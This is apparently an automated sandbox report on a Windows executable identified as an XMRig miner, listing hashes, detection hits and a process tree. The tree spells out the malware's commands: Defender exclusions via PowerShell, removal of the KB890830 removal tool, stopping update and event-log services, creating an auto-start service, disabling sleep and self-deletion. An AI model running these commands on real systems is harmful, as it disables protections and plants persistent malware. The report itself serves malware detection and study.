Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
20-12-2024 07:24
Static task
static1
Behavioral task
behavioral1
Sample
ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794N.exe
Resource
win7-20240903-en
General
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Target
ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794N.exe
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Size
5.6MB
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MD5
470f447e9d67e9873041d35c9bb35370
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SHA1
0f965f9419e9c85e85eb1b7a71bdec3c134eddb5
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SHA256
ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794
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SHA512
37bc316e17584ae11e293a03f31d9dd9a8c81a21c31fc032222ea2b2e673ff1c9847db672d27d4702f529c1964a7df45d9d779e6ffa4e1278929df05a4fd1faa
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SSDEEP
98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 9 IoCs
resource yara_rule behavioral1/memory/2188-32-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2188-31-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2188-35-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2188-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2188-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2188-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2188-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2188-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2188-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2032 powershell.exe 2848 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 1492 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 472 Process not Found 2672 lutlgidagtja.exe -
Loads dropped DLL 1 IoCs
pid Process 472 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2324 powercfg.exe 2768 powercfg.exe 2716 powercfg.exe 1500 powercfg.exe 2772 powercfg.exe 3028 powercfg.exe 2780 powercfg.exe 2924 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794N.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe lutlgidagtja.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2672 set thread context of 2460 2672 lutlgidagtja.exe 88 PID 2672 set thread context of 2188 2672 lutlgidagtja.exe 90 -
resource yara_rule behavioral1/memory/2188-26-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2188-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2188-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2188-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2188-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2188-35-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2188-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2188-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2188-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2188-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2188-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2188-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2188-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2188-40-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1148 sc.exe 616 sc.exe 1992 sc.exe 2024 sc.exe 2796 sc.exe 2756 sc.exe 2708 sc.exe 2600 sc.exe 664 sc.exe 2804 sc.exe 2692 sc.exe 3040 sc.exe 2108 sc.exe 1404 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a0fe734eb052db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1480 ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794N.exe 2032 powershell.exe 1480 ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794N.exe 1480 ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794N.exe 1480 ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794N.exe 1480 ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794N.exe 1480 ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794N.exe 1480 ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794N.exe 1480 ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794N.exe 1480 ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794N.exe 1480 ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794N.exe 1480 ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794N.exe 1480 ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794N.exe 1480 ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794N.exe 1480 ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794N.exe 1480 ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794N.exe 1480 ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794N.exe 2672 lutlgidagtja.exe 2848 powershell.exe 2672 lutlgidagtja.exe 2672 lutlgidagtja.exe 2672 lutlgidagtja.exe 2672 lutlgidagtja.exe 2672 lutlgidagtja.exe 2672 lutlgidagtja.exe 2672 lutlgidagtja.exe 2672 lutlgidagtja.exe 2672 lutlgidagtja.exe 2672 lutlgidagtja.exe 2672 lutlgidagtja.exe 2672 lutlgidagtja.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2032 powershell.exe Token: SeShutdownPrivilege 1500 powercfg.exe Token: SeShutdownPrivilege 2768 powercfg.exe Token: SeShutdownPrivilege 2716 powercfg.exe Token: SeShutdownPrivilege 2772 powercfg.exe Token: SeDebugPrivilege 2848 powershell.exe Token: SeShutdownPrivilege 3028 powercfg.exe Token: SeShutdownPrivilege 2780 powercfg.exe Token: SeShutdownPrivilege 2324 powercfg.exe Token: SeShutdownPrivilege 2924 powercfg.exe Token: SeLockMemoryPrivilege 2188 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2732 wrote to memory of 2956 2732 cmd.exe 37 PID 2732 wrote to memory of 2956 2732 cmd.exe 37 PID 2732 wrote to memory of 2956 2732 cmd.exe 37 PID 1492 wrote to memory of 1240 1492 cmd.exe 64 PID 1492 wrote to memory of 1240 1492 cmd.exe 64 PID 1492 wrote to memory of 1240 1492 cmd.exe 64 PID 1872 wrote to memory of 1272 1872 cmd.exe 72 PID 1872 wrote to memory of 1272 1872 cmd.exe 72 PID 1872 wrote to memory of 1272 1872 cmd.exe 72 PID 2672 wrote to memory of 2460 2672 lutlgidagtja.exe 88 PID 2672 wrote to memory of 2460 2672 lutlgidagtja.exe 88 PID 2672 wrote to memory of 2460 2672 lutlgidagtja.exe 88 PID 2672 wrote to memory of 2460 2672 lutlgidagtja.exe 88 PID 2672 wrote to memory of 2460 2672 lutlgidagtja.exe 88 PID 2672 wrote to memory of 2460 2672 lutlgidagtja.exe 88 PID 2672 wrote to memory of 2460 2672 lutlgidagtja.exe 88 PID 2672 wrote to memory of 2460 2672 lutlgidagtja.exe 88 PID 2672 wrote to memory of 2460 2672 lutlgidagtja.exe 88 PID 2672 wrote to memory of 2188 2672 lutlgidagtja.exe 90 PID 2672 wrote to memory of 2188 2672 lutlgidagtja.exe 90 PID 2672 wrote to memory of 2188 2672 lutlgidagtja.exe 90 PID 2672 wrote to memory of 2188 2672 lutlgidagtja.exe 90 PID 2672 wrote to memory of 2188 2672 lutlgidagtja.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794N.exe"C:\Users\Admin\AppData\Local\Temp\ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794N.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:1480 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2032
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2732 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2956
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2796
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2756
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2708
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2804
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2692
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2768
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2772
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2716
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1500
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JIOGRCSG"2⤵
- Launches sc.exe
PID:2600
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"2⤵
- Launches sc.exe
PID:3040
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:2108
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JIOGRCSG"2⤵
- Launches sc.exe
PID:664
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794N.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1492 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1240
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C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exeC:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2672 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2848
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1872 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:1272
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:1148
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1404
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2024
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:616
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1992
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3028
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2924
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2780
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2324
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2460
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2188
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD5470f447e9d67e9873041d35c9bb35370
SHA10f965f9419e9c85e85eb1b7a71bdec3c134eddb5
SHA256ffba074e4d688b065ef93d8afba9d9fa66f9e74c56832b356d1973f474bcc794
SHA51237bc316e17584ae11e293a03f31d9dd9a8c81a21c31fc032222ea2b2e673ff1c9847db672d27d4702f529c1964a7df45d9d779e6ffa4e1278929df05a4fd1faa